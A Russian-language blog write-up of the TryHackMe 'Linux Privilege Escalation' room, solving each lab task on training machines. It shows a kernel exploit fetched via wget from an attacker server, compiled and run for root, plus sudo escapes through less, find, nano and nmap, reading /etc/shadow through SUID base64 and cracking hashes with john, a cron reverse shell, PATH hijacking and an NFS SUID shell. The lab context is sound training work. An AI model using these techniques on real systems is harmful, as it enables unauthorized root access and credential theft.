Пост

TryHackMe - Linux Privilege Escalation

Множество различных способов повышения привилегий в Linux

TryHackMe - Linux Privilege Escalation

Введение

Повышение привилегий — обязательный этап в пентестинге и хакинге в целом, так как именно он позволяет получить полный доступ к удалённой машине.

Tryhackme Room Link

Что такое повышение привилегий?

  • Повышение привилегий — это процесс получения более высокого уровня доступа или прав в системе, чем было изначально предоставлено.

2 основных типа повышения привилегий:

  1. Вертикальное повышение привилегий (Privilege Elevation) — атакующий получает более высокий уровень прав, например, переход от обычного пользователя к администратору или root. Обычно это происходит за счёт эксплуатации уязвимостей ПО, ошибок конфигурации или кражи учётных данных.

  2. Горизонтальное повышение привилегий — атакующий остаётся на том же уровне привилегий, но получает доступ к учётной записи или ресурсам другого пользователя. Например, обычный пользователь может получить доступ к приватным данным другого пользователя.


Перечисление (Enumeration)

Запустим машину и подключимся к ней по ssh, используя предоставленные учётные данные.

1
2
ssh karen@10.10.151.202
Password1

Комната знакомит нас со следующими базовыми командами перечисления (Linux enumeration):

  • hostname — имя хоста целевой машины
  • uname -a — выводит информацию о системе и детали ядра
  • /proc/version — отображает версию ядра и детали сборки
  • /etc/issue — показывает информацию об операционной системе
  • ps — список запущенных процессов
  • env — отображает переменные окружения
  • sudo -l — показывает, какие команды пользователь может выполнять с sudo
  • ls — список файлов и директорий
  • id — отображает UID и GID пользователя
  • /etc/passwd — содержит информацию о пользовательских аккаунтах
  • history — история ранее выполненных команд
  • ifconfig — информация о сетевых интерфейсах (устарела, используйте ip a)
  • netstat — сетевые соединения и открытые порты (устарела, используйте ss)
  • find — поиск файлов и директорий

Какое имя хоста у целевой системы?

1
2
hostname
wade7363

Ответ:

1
wade7363

Какова версия ядра Linux на целевой системе?

1
2
uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Ответ:

1
3.13.0-24-generic

Какая версия Linux используется?

1
2
cat /etc/issue
Ubuntu 14.04 LTS

Ответ:

1
Ubuntu 14.04 LTS

Какая версия языка Python установлена в системе?

1
2
3
4
python
Python 2.7.6 (default, Mar 22 2014, 22:59:56) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.

Ответ:

1
2.7.6

Какая уязвимость, по‑видимому, затрагивает ядро целевой системы? (Введите номер CVE)

Чтобы ответить на этот вопрос, просто загуглим версию ядра вместе с CVE.

CVE

Ответ:

1
CVE-2015-1328

Автоматизированные инструменты перечисления

Полезно знать, какие инструменты автоматизации существуют. Лично я использовал только LinPeas:

  1. LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
  2. LinEnum: https://github.com/rebootuser/LinEnum
  3. LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
  4. Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
  5. Linux Priv Checker: https://github.com/linted/linuxprivchecker

Повышение привилегий: эксплойты ядра

Итак, по сути, комната говорит нам использовать найденный CVE. Наши следующие шаги:

  1. Скачать эксплойт с exploit-db
  2. Передать эксплойт на целевую машину
  3. Скомпилировать его и запустить

После загрузки эксплойта запускаем Python HTTP‑сервер в директории с файлом, чтобы затем скачать его на целевую машину.

Машина атакующего

1
2
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Машина жертвы (сначала необходимо перейти в каталог /tmp, так как в других местах у нас нет прав на запись)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cd /tmp
$ wget http://10.14.99.72/37292.c
Connecting to 10.14.99.72:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: ‘37292.c’

100%[=====================================================================>] 5,119       --.-K/s   in 0s      

2025-03-02 10:11:16 (277 MB/s) - ‘37292.c’ saved [5119/5119]
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ gcc 37292.c -o 37292
$ ./37292
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id  
uid=0(root) gid=0(root) groups=0(root),1001(karen)

И мы получаем наш первый флаг

Flag 1

Повышение привилегий: Sudo

Давайте проверим, что мы можем запускать с правами sudo

1
2
3
4
5
sudo -l
User karen may run the following commands on ip-10-10-118-61:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

Сколько программ пользователь «karen» может запускать в целевой системе с правами sudo?

Ответ:

1
3

Каково содержимое файла flag2.txt?

https://gtfobins.github.io/gtfobins/less/

Повышение привилегий с использованием less
  1. Запускаем less с правами sudo
  2. Вводим !/bin/bash, после чего получаем shell
1
2
3
$ sudo less /etc/profile
# id
uid=0(root) gid=0(root) groups=0(root)

Less

Повышение привилегий с использованием find

https://gtfobins.github.io/gtfobins/find/#sudo

1
2
3
sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

Find

Повышение привилегий с использованием nano

https://gtfobins.github.io/gtfobins/nano/#sudo

  1. Запускаем nano с правами sudo
  2. Нажимаем Ctrl + R, затем Ctrl + X
  3. Вводим reset; sh 1>&0 2>&0 и нажимаем Enter
  4. Мы получаем root shell

Nano 1

Nano2

И после этого мы можем получить flag2

Nano2

Как бы вы использовали Nmap для получения root shell, если бы у вашего пользователя были sudo-права на nmap?

Ответ:

1
sudo nmap --interactive

Каков хэш пароля пользователя frank?

Так как мы уже получили root-доступ, просто посмотрим файл shadow

Nano2

Повышение привилегий: SUID

В обычных условиях вы настраиваете права доступа к файлам и каталогам, но ситуация меняется при использовании SUID (Set-user Identification).
Такие файлы могут выполняться с уровнем привилегий владельца файла или владельца группы.

Какой пользователь носит имя известного автора комиксов?

1
cat /etc/passwd

Writer

Каков пароль пользователя user2?

1
base64 /etc/shadow | base64 --decode | tail

user2

Теперь мы просто взламываем хэш с помощью john

1
2
$ echo '$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/' > hash.txt
john hash.txt

Password

Каково содержимое файла flag3.txt?

Похоже, что мы не можем прочитать флаг напрямую, поэтому нам нужно использовать ту же команду base64, чтобы его получить.

Flag 3

Повышение привилегий: Capabilities

Сколько бинарных файлов имеют установленные capabilities?

Как подсказывает комната, нам нужно перенаправить вывод в /dev/null, поэтому выполняем следующее

1
getcap -r / 2>/dev/null

getcap

Какой другой бинарный файл можно использовать через его capabilities?

Комната показывает нам эксплойт для бинарника vim, следовательно, другой бинарник, который можно использовать — это view.

Ответ:

1
view

Каково содержимое файла flag4.txt?

1
2
find / -name flag4.txt 2>/dev/null
/home/ubuntu/flag4.txt

Повышение привилегий: Cron Jobs

3 основных момента:

  • Cron-задачи запускают скрипты по расписанию с правами их владельца
  • Если cron-задача, принадлежащая root, выполняет скрипт, который мы можем изменить, мы можем повысить привилегии
  • Чтобы посмотреть текущие cron-задачи, можно открыть файл /etc/crontab

Мы можем выполнить cat этого файла, и там есть отличное объяснение

Crontab

Сколько пользовательских cron-задач вы видите на целевой системе?

Ответ:

1
4

Каково содержимое файла flag5.txt?

Давайте поместим наш скрипт reverse shell в файл backup.sh и подождём, пока cron-задача выполнится
(не забудьте запустить netcat listener на машине атакующего)

1
nano backup.sh

Crontab

Окей, спустя несколько минут я понял, что файл нельзя выполнить :D
Давайте добавим права на выполнение этому файлу

1
chmod +x backup.sh

И спустя некоторое время мы получаем соединение

Shell

Flag5

Каков пароль пользователя Matt?

Ок, делаем следующее:

  1. Смотрим файл shadow с помощью cat
  2. Сохраняем хэш пароля пользователя Matt в файл hash2.txt (в нашем случае)
  3. Взламываем хэш с помощью john

Matt hash

Matt pass

Повышение привилегий: PATH

Базовый принцип:

  • Если каталог с правами на запись находится в переменной PATH, вы можете перехватить выполнение команд, разместив вредоносный скрипт с тем же именем, что и у часто используемой команды
  • Когда система ищет эту команду, она может выполнить ваш скрипт вместо оригинального, что потенциально приводит к повышению привилегий

Какой странный каталог имеет у вас права на запись?

Мы можем проверить, к чему у нас есть права на запись, используя команду find

1
find / -writable 2>/dev/null | tail

Через некоторое время команда возвращает результаты

Path

Ответ:

1
/home/murdoch

Каково содержимое файла flag6.txt?

Окей, это заняло у меня некоторое время, но вот как это можно сделать:

  1. Переходим в каталог /home/murdoch
  2. Записываем /bin/bash в файл thm, так как мы будем его выполнять
  3. Выводим текущее значение переменной $PATH (просто для перепроверки)
  4. Экспортируем переменную PATH и меняем её на текущий каталог
  5. Запускаем файл test
1
2
3
4
5
6
7
8
9
10
$ cd /home/murdoch
$ echo '/bin/bash' > thm
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ export PATH=/home/murdoch:$PATH
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ ./test
root@ip-10-10-215-168:/home/murdoch# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)

Matt pass

И после этого мы можем найти и прочитать наш флаг

Matt pass

Повышение привилегий: NFS

Сколько монтируемых ресурсов (shares) вы можете определить на целевой системе?

Для начала нам нужно смонтировать машину жертвы к нашей машине атакующего

1
showmount -e 10.10.175.134

NFS 1

Сколько ресурсов (shares) имеют включённую опцию “no_root_squash”?

На машине жертвы:

1
cat /etc/exports

NFS 2

Какое содержимое файла flag7.txt?

Итак, что мы можем сделать:

  1. Создать папку в директории /tmp для монтирования NFS‑шары
  2. Смонтировать диск
  3. Создать скрипт, который будет выполнять /bin/bash
  4. Скомпилировать его и установить правильные права
  5. Переключиться на целевую машину и запустить исполняемый файл
1
2
3
4
5
mkdir /tmp/nfscd /tmp/nfs
mount -o rw 10.10.175.134:/home/ubuntu/sharedfolder /tmp/nfs
nano shell
gcc shell.c -o shell -w
chmod +s shell

Финальное задание (Capstone Challenge)

Похоже, это последнее задание, так что давайте с ним разберёмся.

Подключаемся к машине по ssh и проверяем, можем ли мы запускать что‑нибудь с правами sudo

1
2
3
4
5
6
7
8
9
10
11
12
13
ssh leonard@10.10.249.6
[leonard@ip-10-10-249-6 ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for leonard: 
Sorry, user leonard may not run sudo on ip-10-10-249-6.
[leonard@ip-10-10-249-6 ~]$ 

К сожалению, мы не можем запускать какие‑либо команды с правами sudo.
Так что давайте продолжим, используя методы, которые мы изучили ранее.

Fuel CMS

Cron‑задачи отсутствуют.
Проверим файлы с установленным битом SUID

1
find / -type f -perm -u=s 2>/dev/null

Флаг 2

Похоже, мы снова можем использовать base64!

base64

После нескольких попыток нам наконец повезло

Flag 2

Флаг 1

Похоже, файл flag1.txt находится в другом месте.
Попробуем получить пароль пользователя missy.

  1. Получаем хеш пароля из файла /etc/shadow
  2. Взламываем хеш с помощью john
1
base64 /etc/shadow | base64 --decode | grep missy

Missy

И затем взламываем хеш с помощью john

Missy pass

После этого мы можем переключиться на пользователя missy и проверить доступные файлы

1
su missy

И в итоге мы нашли расположение и содержимое файла flag1.txt

Flag 1

Я не уверен, что задание предполагалось решать именно таким способом, так как флаги были получены в неправильном порядке,
но в любом случае существует несколько разных путей, чтобы дойти до финиша.

Авторский пост защищен лицензией CC BY 4.0 .